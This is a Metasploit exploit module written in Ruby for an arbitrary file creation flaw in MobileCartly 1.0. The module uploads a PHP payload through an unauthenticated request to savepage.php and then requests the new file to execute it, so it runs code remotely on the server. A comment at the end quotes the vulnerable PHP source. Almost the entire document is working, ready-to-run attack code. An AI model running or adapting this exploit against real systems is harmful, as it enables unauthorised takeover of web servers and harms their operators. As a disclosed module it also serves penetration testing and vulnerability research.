MobileCartly 1.0 Arbitrary File Creation Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in MobileCartly.  The savepage.php file
        does not do any permission checks before using file_put_contents(), which
        allows any user to have direct control of that function to create files
        under the 'pages' directory by default, or anywhere else as long as the user
        has WRITE permission.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Yakir Wizman <yakir.wizman[at]gmail.com>', # Original discovery
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          [ 'OSVDB', '85509' ],
          [ 'EDB', '20422 '],
          [ 'BID', '55399 ']
        ],
      'Payload'        =>
        {
          # Goes in the query string, needs to fit in 8k. Leave a little
          # exra for the other params and the path.
          'Space'       => 8000,
          'DisableNops' => true
        },
      'Platform'       => %w{ linux php },
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-08-10',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])
      ])
  end


  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    base = File.dirname("#{uri}.")

    res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")})
    if res and res.body =~ /MobileCartly/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  def exploit
    #
    # Init target path
    #
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    base = File.dirname("#{uri}.")

    #
    # Configure payload names
    #
    php_fname = Rex::Text.rand_text_alpha(5) + ".php"

    #
    # Upload payload
    #
    print_status("Uploading payload")
    res = send_request_cgi({
      'uri' => normalize_uri(base, "/includes/savepage.php"),
      'vars_get' => {
        'savepage'    => php_fname,
        'pagecontent' => get_write_exec_payload(:unlink_self=>true)
      }
    })

    if not res
      print_error("No response from server, will not continue.")
      return
    end

    #
    # Run payload
    #
    print_status("Requesting '#{php_fname}'")
    send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) })

    handler
  end
end

=begin
*facepalm*

<?php
  $page = "../pages/" . $_REQUEST['savepage'];
  $content = $_REQUEST['pagecontent'];
  file_put_contents($page, $content);
?>
=end